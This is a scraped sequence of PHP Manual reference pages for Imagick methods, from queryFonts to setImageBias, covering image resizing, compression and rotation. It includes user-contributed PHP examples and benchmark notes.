Imagick


Returns the configured fonts

Imagick::queryFontMetrics
Imagick::queryFormats
Imagick
PHP Manual

Imagick::queryFonts

(PECL imagick 2.0.0)

Imagick::queryFonts — Returns the configured fonts

Description

array Imagick::queryFonts ([ string $pattern = "*" ] )

Returns the configured fonts.

Parameters

pattern

The query pattern

Return Values

Returns an array containing the configured fonts.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::queryFontMetrics
Imagick::queryFormats
Imagick


Returns formats supported by Imagick

Imagick::queryFonts
Imagick::radialBlurImage
Imagick
PHP Manual

Imagick::queryFormats

(PECL imagick 2.0.0)

Imagick::queryFormats — Returns formats supported by Imagick

Description

array Imagick::queryFormats ([ string $pattern = "*" ] )

Returns formats supported by Imagick.

Parameters

pattern

Return Values

Returns an array containing the formats supported by Imagick.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::queryFonts
Imagick::radialBlurImage
Imagick


Radial blurs an image

Imagick::queryFormats
Imagick::raiseImage
Imagick
PHP Manual

Imagick::radialBlurImage

(PECL imagick 2.0.0)

Imagick::radialBlurImage — Radial blurs an image

Description

bool Imagick::radialBlurImage ( float $angle [, int $channel = Imagick::CHANNEL_ALL ] )

Radial blurs an image.

Parameters

angle

channel

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::queryFormats
Imagick::raiseImage
Imagick


Creates a simulated 3d button-like effect

Imagick::radialBlurImage
Imagick::randomThresholdImage
Imagick
PHP Manual

Imagick::raiseImage

(PECL imagick 2.0.0)

Imagick::raiseImage — Creates a simulated 3d button-like effect

Description

bool Imagick::raiseImage ( int $width , int $height , int $x , int $y , bool $raise )

Creates a simulated three-dimensional button-like effect by lightening and darkening the edges of the image. Members width and height of raise_info define the width of the vertical and horizontal edge of the effect.

Parameters

width

height

x

y

raise

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::radialBlurImage
Imagick::randomThresholdImage
Imagick


Creates a high-contrast, two-color image

Imagick::raiseImage
Imagick::readImage
Imagick
PHP Manual

Imagick::randomThresholdImage

(PECL imagick 2.0.0)

Imagick::randomThresholdImage — Creates a high-contrast, two-color image

Description

bool Imagick::randomThresholdImage ( float $low , float $high [, int $channel = Imagick::CHANNEL_ALL ] )

Changes the value of individual pixels based on the intensity of each pixel compared to threshold. The result is a high-contrast, two color image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

low

The low point

high

The high point

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::raiseImage
Imagick::readImage
Imagick


Reads image from filename

Imagick::randomThresholdImage
Imagick::readImageBlob
Imagick
PHP Manual

Imagick::readImage

(PECL imagick 0.9.0-0.9.9)

Imagick::readImage — Reads image from filename

Description

bool Imagick::readImage ( string $filename )

Reads image from filename

Parameters

filename

Return Values

Returns TRUE on success.

User Contributed Notes

perching_eagle at yahoo dot com 04-Oct-2007 06:29
// create an image copy
$image=new Imagick();
$image->readImage("c:/htdocs/rose.jpg");
$image->setImageFileName("c:/htdocs/rosecopy.jpg");
$image->writeImage();

/* a copy of the image rose.jpg is created,it called rosecopy.jpg */
Imagick::randomThresholdImage
Imagick::readImageBlob
Imagick


Reads image from a binary string

Imagick::readImage
Imagick::readImageFile
Imagick
PHP Manual

Imagick::readImageBlob

(PECL imagick 2.0.0)

Imagick::readImageBlob — Reads image from a binary string

Description

bool Imagick::readImageBlob ( string $image [, string $filename ] )

Reads image from a binary string

Parameters

image

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

finalmau at gmail dot com 29-Apr-2008 04:22
For read a file from a bfile using OCI->LOB

//any.jpg must be any file
$image = new Imagick('any.jpg');

// rewind the OCI->lob
$ociLob->rewind();

//This is the magick
$image->readImageBlob($ociLob->read($oci->size()), $oci->size());
Imagick::readImage
Imagick::readImageFile
Imagick


Reads image from open filehandle

Imagick::readImageBlob
Imagick::recolorImage
Imagick
PHP Manual

Imagick::readImageFile

(PECL imagick 2.0.0)

Imagick::readImageFile — Reads image from open filehandle

Description

bool Imagick::readImageFile ( resource $filehandle [, string $fileName = null ] )

Reads image from open filehandle

Parameters

filehandle

fileName

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

ben dot james at acknowledgement dot co dot uk 26-Dec-2008 01:00
An example of reading an image file from a URL, using a handle returned by fopen():

<?php
$handle = fopen('http://example.com/foo.jpg', 'rb');
$img = new Imagick();
$img->readImageFile($handle);
$img->resizeImage(128, 128, 0, 0);
$img->writeImage('images/foo.jpg');
?>
Imagick::readImageBlob
Imagick::recolorImage
Imagick


Recolors image

Imagick::readImageFile
Imagick::reduceNoiseImage
Imagick
PHP Manual

Imagick::recolorImage

(No version information available, might only be in SVN)

Imagick::recolorImage — Recolors image

Description

bool Imagick::recolorImage ( array $matrix )

Translate, scale, shear, or rotate image colors. This method supports variable sized matrices but normally 5x5 matrix is used for RGBA and 6x6 is used for CMYK. The last row should contain the normalized values. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

matrix

The matrix containing the color values

Return Values

Returns TRUE on success.

See Also

  • Imagick::displayImage() - Displays an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::readImageFile
Imagick::reduceNoiseImage
Imagick


Smooths the contours of an image

Imagick::recolorImage
Imagick::remapImage
Imagick
PHP Manual

Imagick::reduceNoiseImage

(PECL imagick 2.0.0)

Imagick::reduceNoiseImage — Smooths the contours of an image

Description

bool Imagick::reduceNoiseImage ( float $radius )

Smooths the contours of an image while still preserving edge information. The algorithm works by replacing each pixel with its neighbor closest in value. A neighbor is defined by radius. Use a radius of 0 and Imagick::reduceNoiseImage() selects a suitable radius for you.

Parameters

radius

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::recolorImage
Imagick::remapImage
Imagick


Remaps image colors

Imagick::reduceNoiseImage
Imagick::removeImage
Imagick
PHP Manual

Imagick::remapImage

(No version information available, might only be in SVN)

Imagick::remapImage — Remaps image colors

Description

public bool Imagick::remapImage ( Imagick $replacement , int $DITHER )

Replaces colors an image with those defined by replacement. The colors are replaced with the closest possible color. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

replacement

An Imagick object containing the replacement colors

DITHER

Refer to this list of dither method constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::reduceNoiseImage
Imagick::removeImage
Imagick


Removes an image from the image list

Imagick::remapImage
Imagick::removeImageProfile
Imagick
PHP Manual

Imagick::removeImage

(PECL imagick 2.0.0)

Imagick::removeImage — Removes an image from the image list

Description

bool Imagick::removeImage ( void )

Removes an image from the image list.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::remapImage
Imagick::removeImageProfile
Imagick


Removes the named image profile and returns it

Imagick::removeImage
Imagick::render
Imagick
PHP Manual

Imagick::removeImageProfile

(PECL imagick 2.0.0)

Imagick::removeImageProfile — Removes the named image profile and returns it

Description

string Imagick::removeImageProfile ( string $name )

Removes the named image profile and returns it.

Parameters

name

Return Values

Returns a string containing the profile of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::removeImage
Imagick::render
Imagick


Renders all preceding drawing commands

Imagick::removeImageProfile
Imagick::resampleImage
Imagick
PHP Manual

Imagick::render

(PECL imagick 2.0.0)

Imagick::render — Renders all preceding drawing commands

Description

bool Imagick::render ( void )

Renders all preceding drawing commands.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::removeImageProfile
Imagick::resampleImage
Imagick


Resample image to desired resolution

Imagick::render
Imagick::resetImagePage
Imagick
PHP Manual

Imagick::resampleImage

(PECL imagick 2.0.0)

Imagick::resampleImage — Resample image to desired resolution

Description

bool Imagick::resampleImage ( float $x_resolution , float $y_resolution , int $filter , float $blur )

Resample image to desired resolution.

Parameters

x_resolution

y_resolution

filter

blur

Return Values

Returns TRUE on success.

User Contributed Notes

anagai at yahoo dot com 02-Dec-2011 12:14
Lets say you want to reduce the resolution of uploaded images for the web.

The following will load a image at whatever resolution and resample it down to 72 dpi and save as a different file.

The dpi for setImageResolution() and resampleImage() should be whatever dpi your resampling too.

<?php
$image = new Imagick();
$image->readImage('image.jpg');
$image->setImageResolution(72,72);
$image->resampleImage(72,72,imagick::FILTER_UNDEFINED,0);
$image->writeImage('image72.jpg');
?>
Imagick::render
Imagick::resetImagePage
Imagick


Reset image page

Imagick::resampleImage
Imagick::resizeImage
Imagick
PHP Manual

Imagick::resetImagePage

(No version information available, might only be in SVN)

Imagick::resetImagePage — Reset image page

Description

bool Imagick::resetImagePage ( string $page )

The page definition as a string. The string is in format WxH+x+y. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

page

The page definition. For example 7168x5147+0+0

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::resampleImage
Imagick::resizeImage
Imagick


Scales an image

Imagick::resetImagePage
Imagick::rollImage
Imagick
PHP Manual

Imagick::resizeImage

(PECL imagick 2.0.0)

Imagick::resizeImage — Scales an image

Description

bool Imagick::resizeImage ( int $columns , int $rows , int $filter , float $blur [, bool $bestfit = false ] )

Scales an image to the desired dimensions with a filter.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

columns

Width of the image

rows

Height of the image

filter

Refer to the list of filter constants.

blur

The blur factor where > 1 is blurry, < 1 is sharp.

bestfit

Optional fit parameter.

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

User Contributed Notes

jdhawk at gmail dot com 15-Apr-2011 10:37
In our linux environment, using resizeImage with any filter produced extremely high CPU Utilization (in the range of 40-50%) while doing batch resizing.

We switched to scaleImage, which produces similar results to FILTER_BOX, and CPU Utilization dropped to 2-3%.

Using XHProf to profile the two batch jobs showed amazing decreases in CPU Time, so if you're doing a lot of picture resizing, it might be beneficial to use scaleImage instead of resizeImage, as it seems to be much much more efficient.
michael dot heca at gmail dot com 16-Nov-2009 05:18
Use setImageOpacity(1.0) before resizing, for proper handling of transparency in png and gif.
dennis at gofolo dot com 08-Nov-2009 06:32
Having to do alot of resizing, i needed to know the speeds of the different resize filters.
This was how long it took to resize a 5906x5906 JPEG image to 1181x1181.

FILTER_POINT took: 0.334532976151 seconds
FILTER_BOX took: 0.777871131897 seconds
FILTER_TRIANGLE took: 1.3695909977 seconds
FILTER_HERMITE took: 1.35866093636 seconds
FILTER_HANNING took: 4.88722896576 seconds
FILTER_HAMMING took: 4.88665103912 seconds
FILTER_BLACKMAN took: 4.89026689529 seconds
FILTER_GAUSSIAN took: 1.93553304672 seconds
FILTER_QUADRATIC took: 1.93322920799 seconds
FILTER_CUBIC took: 2.58396601677 seconds
FILTER_CATROM took: 2.58508896828 seconds
FILTER_MITCHELL took: 2.58368492126 seconds
FILTER_LANCZOS took: 3.74232912064 seconds
FILTER_BESSEL took: 4.03305602074 seconds
FILTER_SINC took: 4.90098690987 seconds

I ended up choosing CATROM as it has a very similar result to LANCZOS, but is significantly faster.
billadoid [at ' at '] ['gmail' here] dot com 05-Nov-2008 11:50
<?php
$height=$thumb->getImageHeight();
$width=$thumb->getImageWidth();
if ($height < $width)
  $thumb->scaleImage(800,0);
 else
  $thumb->scaleImage(0,600);
?>

Something like this will cause a fatal error when you try to create a thumbnail of an uploaded picture of.. 10x15000 resolution.

It will work nice only if you enable the 'fit':

<?php
$height=$thumb->getImageHeight();
$width=$thumb->getImageWidth();
if ($width > 800)
$thumb->scaleImage(800,600,true);
if ($height > 600)
$thumb->scaleImage(800,600,true);
?>

Note: Maybe I misspelled something or though something wrong. i.e. you could think why would I create a thumbnail of 800x600.

Hope it will helps s/o
andrabr at gmail dot com 24-Aug-2007 04:08
blur:  > 1 is blurry, < 1 is sharp

To create a nice thumbnail (LANCZOS is the slowest filter):

<?php

$thumb = new Imagick();
$thumb->readImage('myimage.gif');    $thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');
$thumb->clear();
$thumb->destroy();

?>

Or, a shorter version of the same:

<?php

$thumb = new Imagick('myimage.gif');

$thumb->resizeImage(320,240,Imagick::FILTER_LANCZOS,1);
$thumb->writeImage('mythumb.gif');

$thumb->destroy();

?>
Imagick::resetImagePage
Imagick::rollImage
Imagick


Offsets an image

Imagick::resizeImage
Imagick::rotateImage
Imagick
PHP Manual

Imagick::rollImage

(PECL imagick 2.0.0)

Imagick::rollImage — Offsets an image

Description

bool Imagick::rollImage ( int $x , int $y )

Offsets an image as defined by x and y.

Parameters

x

The X offset.

y

The Y offset.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::resizeImage
Imagick::rotateImage
Imagick


Rotates an image

Imagick::rollImage
Imagick::roundCorners
Imagick
PHP Manual

Imagick::rotateImage

(PECL imagick 2.0.0)

Imagick::rotateImage — Rotates an image

Description

bool Imagick::rotateImage ( mixed $background , float $degrees )

Rotates an image the specified number of degrees. Empty triangles left over from rotating the image are filled with the background color.

Parameters

background

The background color

degrees

The number of degrees to rotate the image

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

Baptiste VALTHIER 29-Mar-2011 01:05
You can rotate an jpg image by -13.55° into a transparent png image with :

<?php
$imagick = new Imagick();
$imagick->readImage('my.jpg');
$imagick->rotateImage(new ImagickPixel('none'), -13.55);
$imagick->writeImage('my_rotated.png');
$imagick->clear();
$imagick->destroy();
?>
wjsams at gmail dot com 22-Nov-2008 09:49
If you want to rotate an image by a certain degree you can do this:

<?php
header('content-type: image/jpeg');
$imagick = new Imagick();
$imagick->readImage('castle.jpg');
$imagick->rotateImage(new ImagickPixel(), 90);
print $imagick->getImage();
?>
Imagick::rollImage
Imagick::roundCorners
Imagick


Rounds image corners

Imagick::rotateImage
Imagick::sampleImage
Imagick
PHP Manual

Imagick::roundCorners

(PECL imagick 2.0.0)

Imagick::roundCorners — Rounds image corners

Description

bool Imagick::roundCorners ( float $x_rounding , float $y_rounding [, float $stroke_width = 10 [, float $displace = 5 [, float $size_correction = -6 ]]] )

Rounds image corners. The first two parameters control the amount of rounding and the three last parameters can be used to fine-tune the rounding process. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

x_rounding

x rounding

y_rounding

y rounding

stroke_width

stroke width

displace

image displace

size_correction

size correction

Examples

Example #1 Using Imagick::roundCorners():

Rounds the image corners

<?php

$image = new Imagick();
$image->newPseudoImage(100, 100, "magick:rose");
$image->setImageFormat("png");

$image->roundCorners(5,3);
$image->writeImage("rounded.png");
?>

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::rotateImage
Imagick::sampleImage
Imagick


Scales an image with pixel sampling

Imagick::roundCorners
Imagick::scaleImage
Imagick
PHP Manual

Imagick::sampleImage

(PECL imagick 2.0.0)

Imagick::sampleImage — Scales an image with pixel sampling

Description

bool Imagick::sampleImage ( int $columns , int $rows )

Scales an image to the desired dimensions with pixel sampling. Unlike other scaling methods, this method does not introduce any additional color into the scaled image.

Parameters

columns

rows

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::roundCorners
Imagick::scaleImage
Imagick


Scales the size of an image

Imagick::sampleImage
Imagick::segmentImage
Imagick
PHP Manual

Imagick::scaleImage

(PECL imagick 2.0.0)

Imagick::scaleImage — Scales the size of an image

Description

bool Imagick::scaleImage ( int $cols , int $rows [, bool $bestfit = false ] )

Scales the size of an image to the given dimensions. The other parameter will be calculated if 0 is passed as either param.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

cols

rows

bestfit

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Added optional fit parameter. This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

User Contributed Notes

peter at icb dot at 22-Sep-2009 05:25
If using the fit-parameter this function sometimes seems not to work when one of the two sizes (width or height) is the same size as the image has. For example:

<?php
$image = new Imagick('800x480.jpg');
$image->scaleImage(640, 480, true);

// $image is still 800x480
?>

You have to calculate the new sizes yourself and use false for $fit in this case.
octave at web dot de 23-Jul-2009 02:57
When using the "fit = true" option, the image will only scale down, but never scale up:

<?php
$im = new Imagick('1600x1200.jpg');

$im->scaleImage(2000, 1500, true); // => 1600x1200

$im->scaleImage(1000, 500, true); // => 666x500
?>
benford at bluhelix dot com 16-Jun-2009 08:38
If anyone finds "The other parameter will be calculated if 0 is passed as either param. " to be a bit confusing, it means approximately this:

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(300, 0);
?>

This scales the image such that it is now 300 pixels wide, and automatically calculates the height to keep the image at the same aspect ratio.

<?php
$im = new Imagick('example.jpg');
$im->scaleImage(0, 300);
?>

Similarly, this example scales the image to make it 300 pixels tall, and the method automatically recalculates the image's height to maintain the aspect ratio.
vincent dot hoen at gmail dot com 02-Aug-2007 06:37
Here is an easy way to resize an animated gif :

$picture = new Imagick('animated_gif.gif');

foreach($picture as $frame){
    $frame->scaleImage($width, $height);
}
Imagick::sampleImage
Imagick::segmentImage
Imagick


Segments an image

Imagick::scaleImage
Imagick::separateImageChannel
Imagick
PHP Manual

Imagick::segmentImage

(No version information available, might only be in SVN)

Imagick::segmentImage — Segments an image

Description

public bool Imagick::segmentImage ( int $COLORSPACE , float $cluster_threshold , float $smooth_threshold [, bool $verbose = false ] )

Analyses the image and identifies units that are similar. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

COLORSPACE

One of the COLORSPACE constants.

cluster_threshold

A percentage describing minimum number of pixels contained in hexedra before it is considered valid.

smooth_threshold

Eliminates noise from the histogram.

verbose

Whether to output detailed information about recognised classes.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Imagick::scaleImage
Imagick::separateImageChannel
Imagick


Separates a channel from the image

Imagick::segmentImage
Imagick::sepiaToneImage
Imagick
PHP Manual

Imagick::separateImageChannel

(PECL imagick 2.0.0)

Imagick::separateImageChannel — Separates a channel from the image

Description

bool Imagick::separateImageChannel ( int $channel )

Separates a channel from the image and returns a grayscale image. A channel is a particular color component of each pixel in the image.

Parameters

channel

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::segmentImage
Imagick::sepiaToneImage
Imagick


Sepia tones an image

Imagick::separateImageChannel
Imagick::setBackgroundColor
Imagick
PHP Manual

Imagick::sepiaToneImage

(PECL imagick 2.0.0)

Imagick::sepiaToneImage — Sepia tones an image

Description

bool Imagick::sepiaToneImage ( float $threshold )

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by sepia toning. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the sepia toning. A threshold of 80 is a good starting point for a reasonable tone.

Parameters

threshold

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::separateImageChannel
Imagick::setBackgroundColor
Imagick


Sets the object's default background color

Imagick::sepiaToneImage
Imagick::setColorspace
Imagick
PHP Manual

Imagick::setBackgroundColor

(PECL imagick 2.0.0)

Imagick::setBackgroundColor — Sets the object's default background color

Description

bool Imagick::setBackgroundColor ( mixed $background )

Sets the object's default background color.

Parameters

background

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::sepiaToneImage
Imagick::setColorspace
Imagick


Set colorspace

Imagick::setBackgroundColor
Imagick::setCompression
Imagick
PHP Manual

Imagick::setColorspace

(No version information available, might only be in SVN)

Imagick::setColorspace — Set colorspace

Description

bool Imagick::setColorspace ( int $COLORSPACE )

Sets the global colorspace value for the object. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

COLORSPACE

One of the COLORSPACE constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setBackgroundColor
Imagick::setCompression
Imagick


Sets the object's default compression type

Imagick::setColorspace
Imagick::setCompressionQuality
Imagick
PHP Manual

Imagick::setCompression

(PECL imagick 2.0.0)

Imagick::setCompression — Sets the object's default compression type

Description

bool Imagick::setCompression ( int $compression )

Sets the object's default compression type

Parameters

compression

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setColorspace
Imagick::setCompressionQuality
Imagick


Sets the object's default compression quality

Imagick::setCompression
Imagick::setFilename
Imagick
PHP Manual

Imagick::setCompressionQuality

(PECL imagick 0.9.10-0.9.9)

Imagick::setCompressionQuality — Sets the object's default compression quality

Description

bool Imagick::setCompressionQuality ( int $quality )

Sets the object's default compression quality.

Parameters

quality

Return Values

Returns TRUE on success.

User Contributed Notes

charles dot hall at sas dot com 03-Aug-2010 11:31
I had to insert a call to "stripImage()" in order to actually see the filesize shrink.

<?php
   $img = new Imagick();
   $img->readImage($src);
   $img->setImageCompression(imagick::COMPRESSION_JPEG);
   $img->setImageCompressionQuality(90);
   $img->stripImage();
   $img->writeImage($dest);
?>
deeps chennai 18-Mar-2010 02:59
A note for people who just couldn't get this working..

With PHP 5.1.6, the below works:

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

However, with higher versions of PHP (I tried on PHP 5.2.10), the code has no effect (and there are no exceptions or warnings thrown by Imagick as well).

The code that works instead is:

<?php
$img->setImageCompression(Imagick::COMPRESSION_JPEG);
$img->setImageCompressionQuality(80);
?>

and this is backwards compatible (Works on PHP 5.1.6 as well as 5.2.10)
nVaux.com 26-Mar-2008 08:24
Sebastian's example works excellent, just one minor spelling mistake, it will give you an error otherwise.

<?php
$img->setCompression(Imagick::COMPRESSION_JPEG);
$img->setCompressionQuality(80);
?>

I used Sebastians example, and made one that compresses all the images within a directory:

<?php
$images = new Imagick(glob('images/*.jpg'));

foreach($images as $image)
{
    // compression methods, see "Contants"-page for Imagick
    $image->setCompression(imagick::COMPRESSION_JPEG);
    // a value between 1 and 100, 1 = high compression, 100 low compression
    $image->setCompressionQuality(80);
    $image->writeImage();
}

?>
sebastian dot moser at gmail dot com 17-Nov-2007 02:46
Use this example to see how image compression works:

<?php
// load an image
$img = new Imagick("test.jpg");

// compression methods, see "Contants"-page for Imagick
$img->setComression(Imagick::COMPRESSION_JPEG);
// a value between 1 and 100, 1 = high compression, 100 low compression
$img->setComressionQuality(80);

// set content type
header("Content-type: image/jpeg");
// write image
echo $img->getImageBlob();
?>
Imagick::setCompression
Imagick::setFilename
Imagick


Sets the filename before you read or write the image

Imagick::setCompressionQuality
Imagick::setFirstIterator
Imagick
PHP Manual

Imagick::setFilename

(PECL imagick 2.0.0)

Imagick::setFilename — Sets the filename before you read or write the image

Description

bool Imagick::setFilename ( string $filename )

Sets the filename before you read or write an image file.

Parameters

filename

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setCompressionQuality
Imagick::setFirstIterator
Imagick


Sets the Imagick iterator to the first image

Imagick::setFilename
Imagick::setFont
Imagick
PHP Manual

Imagick::setFirstIterator

(PECL imagick 2.0.0)

Imagick::setFirstIterator — Sets the Imagick iterator to the first image

Description

bool Imagick::setFirstIterator ( void )

Sets the Imagick iterator to the first image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setFilename
Imagick::setFont
Imagick


Sets font

Imagick::setFirstIterator
Imagick::setFormat
Imagick
PHP Manual

Imagick::setFont

(PECL imagick 2.1.0)

Imagick::setFont — Sets font

Description

bool Imagick::setFont ( string $font )

Sets object's font property. This method can be used for example to set font for caption: pseudo-format. The font needs to be configured in ImageMagick confiration or a file by the name of font must exist. This method should not be confused with ImagickDraw::setFont() which sets the font for a specific ImagickDraw object. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Parameters

font

Font name or a filename

Return Values

Returns TRUE on success.

See Also

  • Imagick::getFont() - Gets font
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text
  • ImagickDraw::getFont() - Returns the font

Examples

Example #1 A Imagick::setFont() example

Example of using Imagick::setFont

<?php
/* Create new imagick object */
$im = new Imagick();

/* Set the font for the object */
$im->setFont("example.ttf");

/* Create new caption */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Do something with the image */
?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setFirstIterator
Imagick::setFormat
Imagick


Sets the format of the Imagick object

Imagick::setFont
Imagick::setGravity
Imagick
PHP Manual

Imagick::setFormat

(PECL imagick 2.0.0)

Imagick::setFormat — Sets the format of the Imagick object

Description

bool Imagick::setFormat ( string $format )

Sets the format of the Imagick object.

Parameters

format

Return Values

Returns TRUE on success.

User Contributed Notes

scott at thebrain dot ca 14-Oct-2008 08:18
don't confuse this function with setImageFormat()
Imagick::setFont
Imagick::setGravity
Imagick


Sets the gravity

Imagick::setFormat
Imagick::setImage
Imagick
PHP Manual

Imagick::setGravity

(No version information available, might only be in SVN)

Imagick::setGravity — Sets the gravity

Description

bool Imagick::setGravity ( int $gravity )

Sets the global gravity property for the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.4.0 or newer.

Parameters

gravity

The gravity property. Refer to the list of gravity constants.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setFormat
Imagick::setImage
Imagick


Replaces image in the object

Imagick::setGravity
Imagick::setImageAlphaChannel
Imagick
PHP Manual

Imagick::setImage

(PECL imagick 2.0.0)

Imagick::setImage — Replaces image in the object

Description

bool Imagick::setImage ( Imagick $replace )

Replaces the current image sequence with the image from replace object.

Parameters

replace

The replace Imagick object

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 A Imagick::setImage() example

An example of using Imagick::setImage()

<?php
/* Create the objects */
$image = new Imagick('source.jpg');
$replace = new Imagick('replace.jpg');

/* source.jpg is replaced with replace.jpg */
$image->setImage($replace);

/* output the image */
header('Content-type: image/jpeg');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setGravity
Imagick::setImageAlphaChannel
Imagick


Sets image alpha channel

Imagick::setImage
Imagick::setImageArtifact
Imagick
PHP Manual

Imagick::setImageAlphaChannel

(No version information available, might only be in SVN)

Imagick::setImageAlphaChannel — Sets image alpha channel

Description

bool Imagick::setImageAlphaChannel ( int $mode )

Activate or deactivate image alpha channel. The mode is one of the Imagick::ALPHACHANNEL_* constants. This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

mode

One of the Imagick::ALPHACHANNEL_* constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::setImageMatte() - Sets the image matte channel

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImage
Imagick::setImageArtifact
Imagick


Set image artifact

Imagick::setImageAlphaChannel
Imagick::setImageBackgroundColor
Imagick
PHP Manual

Imagick::setImageArtifact

(No version information available, might only be in SVN)

Imagick::setImageArtifact — Set image artifact

Description

bool Imagick::setImageArtifact ( string $artifact , string $value )

Associates an artifact with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. This method is available if Imagick has been compiled against ImageMagick version 6.5.7 or newer.

Parameters

artifact

The name of the artifact

value

The value of the artifact

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

See Also

  • Imagick::getImageArtifact() - Get image artifact
  • Imagick::deleteImageArtifact() - Delete image artifact

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageAlphaChannel
Imagick::setImageBackgroundColor
Imagick


Sets the image background color

Imagick::setImageArtifact
Imagick::setImageBias
Imagick
PHP Manual

Imagick::setImageBackgroundColor

(PECL imagick 2.0.0)

Imagick::setImageBackgroundColor — Sets the image background color

Description

bool Imagick::setImageBackgroundColor ( mixed $background )

Sets the image background color.

Parameters

background

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageArtifact
Imagick::setImageBias
Imagick


Sets the image bias for any method that convolves an image

Imagick::setImageBackgroundColor
Imagick::setImageBluePrimary
Imagick
PHP Manual

Imagick::setImageBias

(PECL imagick 2.0.0)

Imagick::setImageBias — Sets the image bias for any method that convolves an image

Description

bool Imagick::setImageBias ( float $bias )

Sets the image bias for any method that convolves an image (e.g. Imagick::ConvolveImage()).

Parameters

bias

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setImageBackgroundColor
Imagick::setImageBluePrimary
Imagick


